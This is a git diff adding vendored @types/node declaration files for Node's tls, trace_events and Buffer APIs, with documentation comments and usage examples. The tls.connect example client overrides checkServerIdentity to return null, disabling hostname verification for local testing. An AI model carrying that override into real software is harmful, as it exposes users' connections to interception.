multiple of the options are provided, the highest maximum is used. + */ + maxVersion?: SecureVersion | undefined; + /** + * Optionally set the minimum TLS version to allow. One + * of `'TLSv1.3'`, `'TLSv1.2'`, `'TLSv1.1'`, or `'TLSv1'`. Cannot be specified along with the + * `secureProtocol` option, use one or the other. It is not recommended to use + * less than TLSv1.2, but it may be required for interoperability. + * **Default:** `'TLSv1.2'`, unless changed using CLI options. Using + * `--tls-v1.0` sets the default to `'TLSv1'`. Using `--tls-v1.1` sets the default to + * `'TLSv1.1'`. Using `--tls-min-v1.3` sets the default to + * 'TLSv1.3'. If multiple of the options are provided, the lowest minimum is used. + */ + minVersion?: SecureVersion | undefined; + /** + * Shared passphrase used for a single private key and/or a PFX. + */ + passphrase?: string | undefined; + /** + * PFX or PKCS12 encoded private key and certificate chain. pfx is an + * alternative to providing key and cert individually. PFX is usually + * encrypted, if it is, passphrase will be used to decrypt it. Multiple + * PFX can be provided either as an array of unencrypted PFX buffers, + * or an array of objects in the form {buf: [, + * passphrase: ]}. The object form can only occur in an array. + * object.passphrase is optional. Encrypted PFX will be decrypted with + * object.passphrase if provided, or options.passphrase if it is not. + */ + pfx?: string | Buffer | Array | undefined; + /** + * Optionally affect the OpenSSL protocol behavior, which is not + * usually necessary. This should be used carefully if at all! Value is + * a numeric bitmask of the SSL_OP_* options from OpenSSL Options + */ + secureOptions?: number | undefined; // Value is a numeric bitmask of the `SSL_OP_*` options + /** + * Legacy mechanism to select the TLS protocol version to use, it does + * not support independent control of the minimum and maximum version, + * and does not support limiting the protocol to TLSv1.3. Use + * minVersion and maxVersion instead. The possible values are listed as + * SSL_METHODS, use the function names as strings. For example, use + * 'TLSv1_1_method' to force TLS version 1.1, or 'TLS_method' to allow + * any TLS protocol version up to TLSv1.3. It is not recommended to use + * TLS versions less than 1.2, but it may be required for + * interoperability. Default: none, see minVersion. + */ + secureProtocol?: string | undefined; + /** + * Opaque identifier used by servers to ensure session state is not + * shared between applications. Unused by clients. + */ + sessionIdContext?: string | undefined; + /** + * 48-bytes of cryptographically strong pseudo-random data. + * See Session Resumption for more information. + */ + ticketKeys?: Buffer | undefined; + /** + * The number of seconds after which a TLS session created by the + * server will no longer be resumable. See Session Resumption for more + * information. Default: 300. + */ + sessionTimeout?: number | undefined; + } + interface SecureContext { + context: any; + } + /** + * Verifies the certificate `cert` is issued to `hostname`. + * + * Returns [Error](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error) object, populating it with `reason`, `host`, and `cert` on + * failure. On success, returns [undefined](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Undefined_type). + * + * This function is intended to be used in combination with the`checkServerIdentity` option that can be passed to {@link connect} and as + * such operates on a `certificate object`. For other purposes, consider using `x509.checkHost()` instead. + * + * This function can be overwritten by providing an alternative function as the `options.checkServerIdentity` option that is passed to `tls.connect()`. The + * overwriting function can call `tls.checkServerIdentity()` of course, to augment + * the checks done with additional verification. + * + * This function is only called if the certificate passed all other checks, such as + * being issued by trusted CA (`options.ca`). + * + * Earlier versions of Node.js incorrectly accepted certificates for a given`hostname` if a matching `uniformResourceIdentifier` subject alternative name + * was present (see [CVE-2021-44531](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44531)). Applications that wish to accept`uniformResourceIdentifier` subject alternative names can use + * a custom `options.checkServerIdentity` function that implements the desired behavior. + * @since v0.8.4 + * @param hostname The host name or IP address to verify the certificate against. + * @param cert A `certificate object` representing the peer's certificate. + */ + function checkServerIdentity(hostname: string, cert: PeerCertificate): Error | undefined; + /** + * Creates a new {@link Server}. The `secureConnectionListener`, if provided, is + * automatically set as a listener for the `'secureConnection'` event. + * + * The `ticketKeys` options is automatically shared between `node:cluster` module + * workers. + * + * The following illustrates a simple echo server: + * + * ```js + * import tls from 'node:tls'; + * import fs from 'node:fs'; + * + * const options = { + * key: fs.readFileSync('server-key.pem'), + * cert: fs.readFileSync('server-cert.pem'), + * + * // This is necessary only if using client certificate authentication. + * requestCert: true, + * + * // This is necessary only if the client uses a self-signed certificate. + * ca: [ fs.readFileSync('client-cert.pem') ], + * }; + * + * const server = tls.createServer(options, (socket) => { + * console.log('server connected', + * socket.authorized ? 'authorized' : 'unauthorized'); + * socket.write('welcome!\n'); + * socket.setEncoding('utf8'); + * socket.pipe(socket); + * }); + * server.listen(8000, () => { + * console.log('server bound'); + * }); + * ``` + * + * The server can be tested by connecting to it using the example client from {@link connect}. + * @since v0.3.2 + */ + function createServer(secureConnectionListener?: (socket: TLSSocket) => void): Server; + function createServer(options: TlsOptions, secureConnectionListener?: (socket: TLSSocket) => void): Server; + /** + * The `callback` function, if specified, will be added as a listener for the `'secureConnect'` event. + * + * `tls.connect()` returns a {@link TLSSocket} object. + * + * Unlike the `https` API, `tls.connect()` does not enable the + * SNI (Server Name Indication) extension by default, which may cause some + * servers to return an incorrect certificate or reject the connection + * altogether. To enable SNI, set the `servername` option in addition + * to `host`. + * + * The following illustrates a client for the echo server example from {@link createServer}: + * + * ```js + * // Assumes an echo server that is listening on port 8000. + * import tls from 'node:tls'; + * import fs from 'node:fs'; + * + * const options = { + * // Necessary only if the server requires client certificate authentication. + * key: fs.readFileSync('client-key.pem'), + * cert: fs.readFileSync('client-cert.pem'), + * + * // Necessary only if the server uses a self-signed certificate. + * ca: [ fs.readFileSync('server-cert.pem') ], + * + * // Necessary only if the server's cert isn't for "localhost". + * checkServerIdentity: () => { return null; }, + * }; + * + * const socket = tls.connect(8000, options, () => { + * console.log('client connected', + * socket.authorized ? 'authorized' : 'unauthorized'); + * process.stdin.pipe(socket); + * process.stdin.resume(); + * }); + * socket.setEncoding('utf8'); + * socket.on('data', (data) => { + * console.log(data); + * }); + * socket.on('end', () => { + * console.log('server ends connection'); + * }); + * ``` + * @since v0.11.3 + */ + function connect(options: ConnectionOptions, secureConnectListener?: () => void): TLSSocket; + function connect( + port: number, + host?: string, + options?: ConnectionOptions, + secureConnectListener?: () => void, + ): TLSSocket; + function connect(port: number, options?: ConnectionOptions, secureConnectListener?: () => void): TLSSocket; + /** + * Creates a new secure pair object with two streams, one of which reads and writes + * the encrypted data and the other of which reads and writes the cleartext data. + * Generally, the encrypted stream is piped to/from an incoming encrypted data + * stream and the cleartext one is used as a replacement for the initial encrypted + * stream. + * + * `tls.createSecurePair()` returns a `tls.SecurePair` object with `cleartext` and `encrypted` stream properties. + * + * Using `cleartext` has the same API as {@link TLSSocket}. + * + * The `tls.createSecurePair()` method is now deprecated in favor of`tls.TLSSocket()`. For example, the code: + * + * ```js + * pair = tls.createSecurePair(// ... ); + * pair.encrypted.pipe(socket); + * socket.pipe(pair.encrypted); + * ``` + * + * can be replaced by: + * + * ```js + * secureSocket = tls.TLSSocket(socket, options); + * ``` + * + * where `secureSocket` has the same API as `pair.cleartext`. + * @since v0.3.2 + * @deprecated Since v0.11.3 - Use {@link TLSSocket} instead. + * @param context A secure context object as returned by `tls.createSecureContext()` + * @param isServer `true` to specify that this TLS connection should be opened as a server. + * @param requestCert `true` to specify whether a server should request a certificate from a connecting client. Only applies when `isServer` is `true`. + * @param rejectUnauthorized If not `false` a server automatically reject clients with invalid certificates. Only applies when `isServer` is `true`. + */ + function createSecurePair( + context?: SecureContext, + isServer?: boolean, + requestCert?: boolean, + rejectUnauthorized?: boolean, + ): SecurePair; + /** + * `{@link createServer}` sets the default value of the `honorCipherOrder` option + * to `true`, other APIs that create secure contexts leave it unset. + * + * `{@link createServer}` uses a 128 bit truncated SHA1 hash value generated + * from `process.argv` as the default value of the `sessionIdContext` option, other + * APIs that create secure contexts have no default value. + * + * The `tls.createSecureContext()` method creates a `SecureContext` object. It is + * usable as an argument to several `tls` APIs, such as `server.addContext()`, + * but has no public methods. The {@link Server} constructor and the {@link createServer} method do not support the `secureContext` option. + * + * A key is _required_ for ciphers that use certificates. Either `key` or `pfx` can be used to provide it. + * + * If the `ca` option is not given, then Node.js will default to using [Mozilla's publicly trusted list of + * CAs](https://hg.mozilla.org/mozilla-central/raw-file/tip/security/nss/lib/ckfw/builtins/certdata.txt). + * + * Custom DHE parameters are discouraged in favor of the new `dhparam: 'auto' `option. When set to `'auto'`, well-known DHE parameters of sufficient strength + * will be selected automatically. Otherwise, if necessary, `openssl dhparam` can + * be used to create custom parameters. The key length must be greater than or + * equal to 1024 bits or else an error will be thrown. Although 1024 bits is + * permissible, use 2048 bits or larger for stronger security. + * @since v0.11.13 + */ + function createSecureContext(options?: SecureContextOptions): SecureContext; + /** + * Returns an array with the names of the supported TLS ciphers. The names are + * lower-case for historical reasons, but must be uppercased to be used in + * the `ciphers` option of `{@link createSecureContext}`. + * + * Not all supported ciphers are enabled by default. See + * [Modifying the default TLS cipher suite](https://nodejs.org/docs/latest-v22.x/api/tls.html#modifying-the-default-tls-cipher-suite). + * + * Cipher names that start with `'tls_'` are for TLSv1.3, all the others are for + * TLSv1.2 and below. + * + * ```js + * console.log(tls.getCiphers()); // ['aes128-gcm-sha256', 'aes128-sha', ...] + * ``` + * @since v0.10.2 + */ + function getCiphers(): string[]; + /** + * The default curve name to use for ECDH key agreement in a tls server. + * The default value is `'auto'`. See `{@link createSecureContext()}` for further + * information. + * @since v0.11.13 + */ + let DEFAULT_ECDH_CURVE: string; + /** + * The default value of the `maxVersion` option of `{@link createSecureContext()}`. + * It can be assigned any of the supported TLS protocol versions, + * `'TLSv1.3'`, `'TLSv1.2'`, `'TLSv1.1'`, or `'TLSv1'`. **Default:** `'TLSv1.3'`, unless + * changed using CLI options. Using `--tls-max-v1.2` sets the default to `'TLSv1.2'`. Using + * `--tls-max-v1.3` sets the default to `'TLSv1.3'`. If multiple of the options + * are provided, the highest maximum is used. + * @since v11.4.0 + */ + let DEFAULT_MAX_VERSION: SecureVersion; + /** + * The default value of the `minVersion` option of `{@link createSecureContext()}`. + * It can be assigned any of the supported TLS protocol versions, + * `'TLSv1.3'`, `'TLSv1.2'`, `'TLSv1.1'`, or `'TLSv1'`. **Default:** `'TLSv1.2'`, unless + * changed using CLI options. Using `--tls-min-v1.0` sets the default to + * `'TLSv1'`. Using `--tls-min-v1.1` sets the default to `'TLSv1.1'`. Using + * `--tls-min-v1.3` sets the default to `'TLSv1.3'`. If multiple of the options + * are provided, the lowest minimum is used. + * @since v11.4.0 + */ + let DEFAULT_MIN_VERSION: SecureVersion; + /** + * The default value of the `ciphers` option of `{@link createSecureContext()}`. + * It can be assigned any of the supported OpenSSL ciphers. + * Defaults to the content of `crypto.constants.defaultCoreCipherList`, unless + * changed using CLI options using `--tls-default-ciphers`. + * @since v19.8.0 + */ + let DEFAULT_CIPHERS: string; + /** + * An immutable array of strings representing the root certificates (in PEM format) + * from the bundled Mozilla CA store as supplied by the current Node.js version. + * + * The bundled CA store, as supplied by Node.js, is a snapshot of Mozilla CA store + * that is fixed at release time. It is identical on all supported platforms. + * @since v12.3.0 + */ + const rootCertificates: readonly string[]; +} +declare module "node:tls" { + export * from "tls"; +} diff --git a/node_modules/@types/node/trace_events.d.ts b/node_modules/@types/node/trace_events.d.ts new file mode 100644 index 000000000000..f334b0bcc3f6 --- /dev/null +++ b/node_modules/@types/node/trace_events.d.ts @@ -0,0 +1,197 @@ +/** + * The `node:trace_events` module provides a mechanism to centralize tracing information + * generated by V8, Node.js core, and userspace code. + * + * Tracing can be enabled with the `--trace-event-categories` command-line flag + * or by using the `trace_events` module. The `--trace-event-categories` flag + * accepts a list of comma-separated category names. + * + * The available categories are: + * + * * `node`: An empty placeholder. + * * `node.async_hooks`: Enables capture of detailed [`async_hooks`](https://nodejs.org/docs/latest-v22.x/api/async_hooks.html) trace data. + * The [`async_hooks`](https://nodejs.org/docs/latest-v22.x/api/async_hooks.html) events have a unique `asyncId` and a special `triggerId` `triggerAsyncId` property. + * * `node.bootstrap`: Enables capture of Node.js bootstrap milestones. + * * `node.console`: Enables capture of `console.time()` and `console.count()` output. + * * `node.threadpoolwork.sync`: Enables capture of trace data for threadpool synchronous operations, such as `blob`, `zlib`, `crypto` and `node_api`. + * * `node.threadpoolwork.async`: Enables capture of trace data for threadpool asynchronous operations, such as `blob`, `zlib`, `crypto` and `node_api`. + * * `node.dns.native`: Enables capture of trace data for DNS queries. + * * `node.net.native`: Enables capture of trace data for network. + * * `node.environment`: Enables capture of Node.js Environment milestones. + * * `node.fs.sync`: Enables capture of trace data for file system sync methods. + * * `node.fs_dir.sync`: Enables capture of trace data for file system sync directory methods. + * * `node.fs.async`: Enables capture of trace data for file system async methods. + * * `node.fs_dir.async`: Enables capture of trace data for file system async directory methods. + * * `node.perf`: Enables capture of [Performance API](https://nodejs.org/docs/latest-v22.x/api/perf_hooks.html) measurements. + * * `node.perf.usertiming`: Enables capture of only Performance API User Timing + * measures and marks. + * * `node.perf.timerify`: Enables capture of only Performance API timerify + * measurements. + * * `node.promises.rejections`: Enables capture of trace data tracking the number + * of unhandled Promise rejections and handled-after-rejections. + * * `node.vm.script`: Enables capture of trace data for the `node:vm` module's `runInNewContext()`, `runInContext()`, and `runInThisContext()` methods. + * * `v8`: The [V8](https://nodejs.org/docs/latest-v22.x/api/v8.html) events are GC, compiling, and execution related. + * * `node.http`: Enables capture of trace data for http request / response. + * + * By default the `node`, `node.async_hooks`, and `v8` categories are enabled. + * + * ```bash + * node --trace-event-categories v8,node,node.async_hooks server.js + * ``` + * + * Prior versions of Node.js required the use of the `--trace-events-enabled` flag to enable trace events. This requirement has been removed. However, the `--trace-events-enabled` flag _may_ still be + * used and will enable the `node`, `node.async_hooks`, and `v8` trace event categories by default. + * + * ```bash + * node --trace-events-enabled + * + * # is equivalent to + * + * node --trace-event-categories v8,node,node.async_hooks + * ``` + * + * Alternatively, trace events may be enabled using the `node:trace_events` module: + * + * ```js + * import trace_events from 'node:trace_events'; + * const tracing = trace_events.createTracing({ categories: ['node.perf'] }); + * tracing.enable(); // Enable trace event capture for the 'node.perf' category + * + * // do work + * + * tracing.disable(); // Disable trace event capture for the 'node.perf' category + * ``` + * + * Running Node.js with tracing enabled will produce log files that can be opened + * in the [`chrome://tracing`](https://www.chromium.org/developers/how-tos/trace-event-profiling-tool) tab of Chrome. + * + * The logging file is by default called `node_trace.${rotation}.log`, where `${rotation}` is an incrementing log-rotation id. The filepath pattern can + * be specified with `--trace-event-file-pattern` that accepts a template + * string that supports `${rotation}` and `${pid}`: + * + * ```bash + * node --trace-event-categories v8 --trace-event-file-pattern '${pid}-${rotation}.log' server.js + * ``` + * + * To guarantee that the log file is properly generated after signal events like `SIGINT`, `SIGTERM`, or `SIGBREAK`, make sure to have the appropriate handlers + * in your code, such as: + * + * ```js + * process.on('SIGINT', function onSigint() { + * console.info('Received SIGINT.'); + * process.exit(130); // Or applicable exit code depending on OS and signal + * }); + * ``` + * + * The tracing system uses the same time source + * as the one used by `process.hrtime()`. + * However the trace-event timestamps are expressed in microseconds, + * unlike `process.hrtime()` which returns nanoseconds. + * + * The features from this module are not available in [`Worker`](https://nodejs.org/docs/latest-v22.x/api/worker_threads.html#class-worker) threads. + * @experimental + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/trace_events.js) + */ +declare module "trace_events" { + /** + * The `Tracing` object is used to enable or disable tracing for sets of + * categories. Instances are created using the + * `trace_events.createTracing()` method. + * + * When created, the `Tracing` object is disabled. Calling the + * `tracing.enable()` method adds the categories to the set of enabled trace + * event categories. Calling `tracing.disable()` will remove the categories + * from the set of enabled trace event categories. + */ + interface Tracing { + /** + * A comma-separated list of the trace event categories covered by this + * `Tracing` object. + * @since v10.0.0 + */ + readonly categories: string; + /** + * Disables this `Tracing` object. + * + * Only trace event categories _not_ covered by other enabled `Tracing` + * objects and _not_ specified by the `--trace-event-categories` flag + * will be disabled. + * + * ```js + * import trace_events from 'node:trace_events'; + * const t1 = trace_events.createTracing({ categories: ['node', 'v8'] }); + * const t2 = trace_events.createTracing({ categories: ['node.perf', 'node'] }); + * t1.enable(); + * t2.enable(); + * + * // Prints 'node,node.perf,v8' + * console.log(trace_events.getEnabledCategories()); + * + * t2.disable(); // Will only disable emission of the 'node.perf' category + * + * // Prints 'node,v8' + * console.log(trace_events.getEnabledCategories()); + * ``` + * @since v10.0.0 + */ + disable(): void; + /** + * Enables this `Tracing` object for the set of categories covered by + * the `Tracing` object. + * @since v10.0.0 + */ + enable(): void; + /** + * `true` only if the `Tracing` object has been enabled. + * @since v10.0.0 + */ + readonly enabled: boolean; + } + interface CreateTracingOptions { + /** + * An array of trace category names. Values included in the array are + * coerced to a string when possible. An error will be thrown if the + * value cannot be coerced. + */ + categories: string[]; + } + /** + * Creates and returns a `Tracing` object for the given set of `categories`. + * + * ```js + * import trace_events from 'node:trace_events'; + * const categories = ['node.perf', 'node.async_hooks']; + * const tracing = trace_events.createTracing({ categories }); + * tracing.enable(); + * // do stuff + * tracing.disable(); + * ``` + * @since v10.0.0 + */ + function createTracing(options: CreateTracingOptions): Tracing; + /** + * Returns a comma-separated list of all currently-enabled trace event + * categories. The current set of enabled trace event categories is determined + * by the _union_ of all currently-enabled `Tracing` objects and any categories + * enabled using the `--trace-event-categories` flag. + * + * Given the file `test.js` below, the command `node --trace-event-categories node.perf test.js` will print `'node.async_hooks,node.perf'` to the console. + * + * ```js + * import trace_events from 'node:trace_events'; + * const t1 = trace_events.createTracing({ categories: ['node.async_hooks'] }); + * const t2 = trace_events.createTracing({ categories: ['node.perf'] }); + * const t3 = trace_events.createTracing({ categories: ['v8'] }); + * + * t1.enable(); + * t2.enable(); + * + * console.log(trace_events.getEnabledCategories()); + * ``` + * @since v10.0.0 + */ + function getEnabledCategories(): string | undefined; +} +declare module "node:trace_events" { + export * from "trace_events"; +} diff --git a/node_modules/@types/node/ts5.6/buffer.buffer.d.ts b/node_modules/@types/node/ts5.6/buffer.buffer.d.ts new file mode 100644 index 000000000000..21f72115c61b --- /dev/null +++ b/node_modules/@types/node/ts5.6/buffer.buffer.d.ts @@ -0,0 +1,385 @@ +declare module "buffer" { + global { + interface BufferConstructor { + // see ../buffer.d.ts for implementation shared with all TypeScript versions + + /** + * Allocates a new buffer containing the given {str}. + * + * @param str String to store in buffer. + * @param encoding encoding to use, optional. Default is 'utf8' + * @deprecated since v10.0.0 - Use `Buffer.from(string[, encoding])` instead. + */ + new(str: string, encoding?: BufferEncoding): Buffer; + /** + * Allocates a new buffer of {size} octets. + * + * @param size count of octets to allocate. + * @deprecated since v10.0.0 - Use `Buffer.alloc()` instead (also see `Buffer.allocUnsafe()`). + */ + new(size: number): Buffer; + /** + * Allocates a new buffer containing the given {array} of octets. + * + * @param array The octets to store. + * @deprecated since v10.0.0 - Use `Buffer.from(array)` instead. + */ + new(array: Uint8Array): Buffer; + /** + * Produces a Buffer backed by the same allocated memory as + * the given {ArrayBuffer}/{SharedArrayBuffer}. + * + * @param arrayBuffer The ArrayBuffer with which to share memory. + * @deprecated since v10.0.0 - Use `Buffer.from(arrayBuffer[, byteOffset[, length]])` instead. + */ + new(arrayBuffer: ArrayBuffer | SharedArrayBuffer): Buffer; + /** + * Allocates a new buffer containing the given {array} of octets. + * + * @param array The octets to store. + * @deprecated since v10.0.0 - Use `Buffer.from(array)` instead. + */ + new(array: readonly any[]): Buffer; + /** + * Copies the passed {buffer} data onto a new {Buffer} instance. + * + * @param buffer The buffer to copy. + * @deprecated since v10.0.0 - Use `Buffer.from(buffer)` instead. + */ + new(buffer: Buffer): Buffer; + /** + * Allocates a new `Buffer` using an `array` of bytes in the range `0` – `255`. + * Array entries outside that range will be truncated to fit into it. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Creates a new Buffer containing the UTF-8 bytes of the string 'buffer'. + * const buf = Buffer.from([0x62, 0x75, 0x66, 0x66, 0x65, 0x72]); + * ``` + * + * If `array` is an `Array`\-like object (that is, one with a `length` property of + * type `number`), it is treated as if it is an array, unless it is a `Buffer` or + * a `Uint8Array`. This means all other `TypedArray` variants get treated as an `Array`. To create a `Buffer` from the bytes backing a `TypedArray`, use `Buffer.copyBytesFrom()`. + * + * A `TypeError` will be thrown if `array` is not an `Array` or another type + * appropriate for `Buffer.from()` variants. + * + * `Buffer.from(array)` and `Buffer.from(string)` may also use the internal `Buffer` pool like `Buffer.allocUnsafe()` does. + * @since v5.10.0 + */ + from( + arrayBuffer: WithImplicitCoercion, + byteOffset?: number, + length?: number, + ): Buffer; + /** + * Creates a new Buffer using the passed {data} + * @param data data to create a new Buffer + */ + from(data: Uint8Array | readonly number[]): Buffer; + from(data: WithImplicitCoercion): Buffer; + /** + * Creates a new Buffer containing the given JavaScript string {str}. + * If provided, the {encoding} parameter identifies the character encoding. + * If not provided, {encoding} defaults to 'utf8'. + */ + from( + str: + | WithImplicitCoercion + | { + [Symbol.toPrimitive](hint: "string"): string; + }, + encoding?: BufferEncoding, + ): Buffer; + /** + * Creates a new Buffer using the passed {data} + * @param values to create a new Buffer + */ + of(...items: number[]): Buffer; + /** + * Returns a new `Buffer` which is the result of concatenating all the `Buffer` instances in the `list` together. + * + * If the list has no items, or if the `totalLength` is 0, then a new zero-length `Buffer` is returned. + * + * If `totalLength` is not provided, it is calculated from the `Buffer` instances + * in `list` by adding their lengths. + * + * If `totalLength` is provided, it is coerced to an unsigned integer. If the + * combined length of the `Buffer`s in `list` exceeds `totalLength`, the result is + * truncated to `totalLength`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Create a single `Buffer` from a list of three `Buffer` instances. + * + * const buf1 = Buffer.alloc(10); + * const buf2 = Buffer.alloc(14); + * const buf3 = Buffer.alloc(18); + * const totalLength = buf1.length + buf2.length + buf3.length; + * + * console.log(totalLength); + * // Prints: 42 + * + * const bufA = Buffer.concat([buf1, buf2, buf3], totalLength); + * + * console.log(bufA); + * // Prints: + * console.log(bufA.length); + * // Prints: 42 + * ``` + * + * `Buffer.concat()` may also use the internal `Buffer` pool like `Buffer.allocUnsafe()` does. + * @since v0.7.11 + * @param list List of `Buffer` or {@link Uint8Array} instances to concatenate. + * @param totalLength Total length of the `Buffer` instances in `list` when concatenated. + */ + concat(list: readonly Uint8Array[], totalLength?: number): Buffer; + /** + * Copies the underlying memory of `view` into a new `Buffer`. + * + * ```js + * const u16 = new Uint16Array([0, 0xffff]); + * const buf = Buffer.copyBytesFrom(u16, 1, 1); + * u16[1] = 0; + * console.log(buf.length); // 2 + * console.log(buf[0]); // 255 + * console.log(buf[1]); // 255 + * ``` + * @since v19.8.0 + * @param view The {TypedArray} to copy. + * @param [offset=0] The starting offset within `view`. + * @param [length=view.length - offset] The number of elements from `view` to copy. + */ + copyBytesFrom(view: NodeJS.TypedArray, offset?: number, length?: number): Buffer; + /** + * Allocates a new `Buffer` of `size` bytes. If `fill` is `undefined`, the`Buffer` will be zero-filled. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.alloc(5); + * + * console.log(buf); + * // Prints: + * ``` + * + * If `size` is larger than {@link constants.MAX_LENGTH} or smaller than 0, `ERR_OUT_OF_RANGE` is thrown. + * + * If `fill` is specified, the allocated `Buffer` will be initialized by calling `buf.fill(fill)`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.alloc(5, 'a'); + * + * console.log(buf); + * // Prints: + * ``` + * + * If both `fill` and `encoding` are specified, the allocated `Buffer` will be + * initialized by calling `buf.fill(fill, encoding)`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.alloc(11, 'aGVsbG8gd29ybGQ=', 'base64'); + * + * console.log(buf); + * // Prints: + * ``` + * + * Calling `Buffer.alloc()` can be measurably slower than the alternative `Buffer.allocUnsafe()` but ensures that the newly created `Buffer` instance + * contents will never contain sensitive data from previous allocations, including + * data that might not have been allocated for `Buffer`s. + * + * A `TypeError` will be thrown if `size` is not a number. + * @since v5.10.0 + * @param size The desired length of the new `Buffer`. + * @param [fill=0] A value to pre-fill the new `Buffer` with. + * @param [encoding='utf8'] If `fill` is a string, this is its encoding. + */ + alloc(size: number, fill?: string | Uint8Array | number, encoding?: BufferEncoding): Buffer; + /** + * Allocates a new `Buffer` of `size` bytes. If `size` is larger than {@link constants.MAX_LENGTH} or smaller than 0, `ERR_OUT_OF_RANGE` is thrown. + * + * The underlying memory for `Buffer` instances created in this way is _not_ + * _initialized_. The contents of the newly created `Buffer` are unknown and _may contain sensitive data_. Use `Buffer.alloc()` instead to initialize`Buffer` instances with zeroes. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(10); + * + * console.log(buf); + * // Prints (contents may vary): + * + * buf.fill(0); + * + * console.log(buf); + * // Prints: + * ``` + * + * A `TypeError` will be thrown if `size` is not a number. + * + * The `Buffer` module pre-allocates an internal `Buffer` instance of + * size `Buffer.poolSize` that is used as a pool for the fast allocation of new `Buffer` instances created using `Buffer.allocUnsafe()`, `Buffer.from(array)`, + * and `Buffer.concat()` only when `size` is less than `Buffer.poolSize >>> 1` (floor of `Buffer.poolSize` divided by two). + * + * Use of this pre-allocated internal memory pool is a key difference between + * calling `Buffer.alloc(size, fill)` vs. `Buffer.allocUnsafe(size).fill(fill)`. + * Specifically, `Buffer.alloc(size, fill)` will _never_ use the internal `Buffer`pool, while `Buffer.allocUnsafe(size).fill(fill)`_will_ use the internal`Buffer` pool if `size` is less + * than or equal to half `Buffer.poolSize`. The + * difference is subtle but can be important when an application requires the + * additional performance that `Buffer.allocUnsafe()` provides. + * @since v5.10.0 + * @param size The desired length of the new `Buffer`. + */ + allocUnsafe(size: number): Buffer; + /** + * Allocates a new `Buffer` of `size` bytes. If `size` is larger than {@link constants.MAX_LENGTH} or smaller than 0, `ERR_OUT_OF_RANGE` is thrown. A zero-length `Buffer` is created if + * `size` is 0. + * + * The underlying memory for `Buffer` instances created in this way is _not_ + * _initialized_. The contents of the newly created `Buffer` are unknown and _may contain sensitive data_. Use `buf.fill(0)` to initialize + * such `Buffer` instances with zeroes. + * + * When using `Buffer.allocUnsafe()` to allocate new `Buffer` instances, + * allocations under 4 KiB are sliced from a single pre-allocated `Buffer`. This + * allows applications to avoid the garbage collection overhead of creating many + * individually allocated `Buffer` instances. This approach improves both + * performance and memory usage by eliminating the need to track and clean up as + * many individual `ArrayBuffer` objects. + * + * However, in the case where a developer may need to retain a small chunk of + * memory from a pool for an indeterminate amount of time, it may be appropriate + * to create an un-pooled `Buffer` instance using `Buffer.allocUnsafeSlow()` and + * then copying out the relevant bits. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Need to keep around a few small chunks of memory. + * const store = []; + * + * socket.on('readable', () => { + * let data; + * while (null !== (data = readable.read())) { + * // Allocate for retained data. + * const sb = Buffer.allocUnsafeSlow(10); + * + * // Copy the data into the new allocation. + * data.copy(sb, 0, 0, 10); + * + * store.push(sb); + * } + * }); + * ``` + * + * A `TypeError` will be thrown if `size` is not a number. + * @since v5.12.0 + * @param size The desired length of the new `Buffer`. + */ + allocUnsafeSlow(size: number): Buffer; + } + interface Buffer extends Uint8Array { + // see ../buffer.d.ts for implementation shared with all TypeScript versions + + /** + * Returns a new `Buffer` that references the same memory as the original, but + * offset and cropped by the `start` and `end` indices. + * + * This method is not compatible with the `Uint8Array.prototype.slice()`, + * which is a superclass of `Buffer`. To copy the slice, use`Uint8Array.prototype.slice()`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('buffer'); + * + * const copiedBuf = Uint8Array.prototype.slice.call(buf); + * copiedBuf[0]++; + * console.log(copiedBuf.toString()); + * // Prints: cuffer + * + * console.log(buf.toString()); + * // Prints: buffer + * + * // With buf.slice(), the original buffer is modified. + * const notReallyCopiedBuf = buf.slice(); + * notReallyCopiedBuf[0]++; + * console.log(notReallyCopiedBuf.toString()); + * // Prints: cuffer + * console.log(buf.toString()); + * // Also prints: cuffer (!) + * ``` + * @since v0.3.0 + * @deprecated Use `subarray` instead. + * @param [start=0] Where the new `Buffer` will start. + * @param [end=buf.length] Where the new `Buffer` will end (not inclusive). + */ + slice(start?: number, end?: number): Buffer; + /** + * Returns a new `Buffer` that references the same memory as the original, but + * offset and cropped by the `start` and `end` indices. + * + * Specifying `end` greater than `buf.length` will return the same result as + * that of `end` equal to `buf.length`. + * + * This method is inherited from [`TypedArray.prototype.subarray()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/subarray). + * + * Modifying the new `Buffer` slice will modify the memory in the original `Buffer`because the allocated memory of the two objects overlap. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Create a `Buffer` with the ASCII alphabet, take a slice, and modify one byte + * // from the original `Buffer`. + * + * const buf1 = Buffer.allocUnsafe(26); + * + * for (let i = 0; i < 26; i++) { + * // 97 is the decimal ASCII value for 'a'. + * buf1[i] = i + 97; + * } + * + * const buf2 = buf1.subarray(0, 3); + * + * console.log(buf2.toString('ascii', 0, buf2.length)); + * // Prints: abc + * + * buf1[0] = 33; + * + * console.log(buf2.toString('ascii', 0, buf2.length)); + * // Prints: !bc + * ``` + * + * Specifying negative indexes causes the slice to be generated relative to the + * end of `buf` rather than the beginning. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('buffer'); + * + * console.log(buf.subarray(-6, -1).toString()); + * // Prints: buffe + * // (Equivalent to buf.subarray(0, 5).) + * + * console.log(buf.subarray(-6, -2).toString()); + * // Prints: buff + * // (Equivalent to buf.subarray(0, 4).) + * + * console.log(buf.subarray(-5, -2).toString()); + * // Prints: uff + * // (Equivalent to buf.subarray(1, 4).) + * ``` + * @since v3.0.0 + * @param [start=0] Where the new `Buffer` will start. + * @param [end=buf.length] Where the new `Buffer` will end (not inclusive). + */ + subarray(start?: number, end?: number): Buffer; + } + } +} diff --git a/node_modules/@types/node/ts5.6/globals.typedarray.d.ts 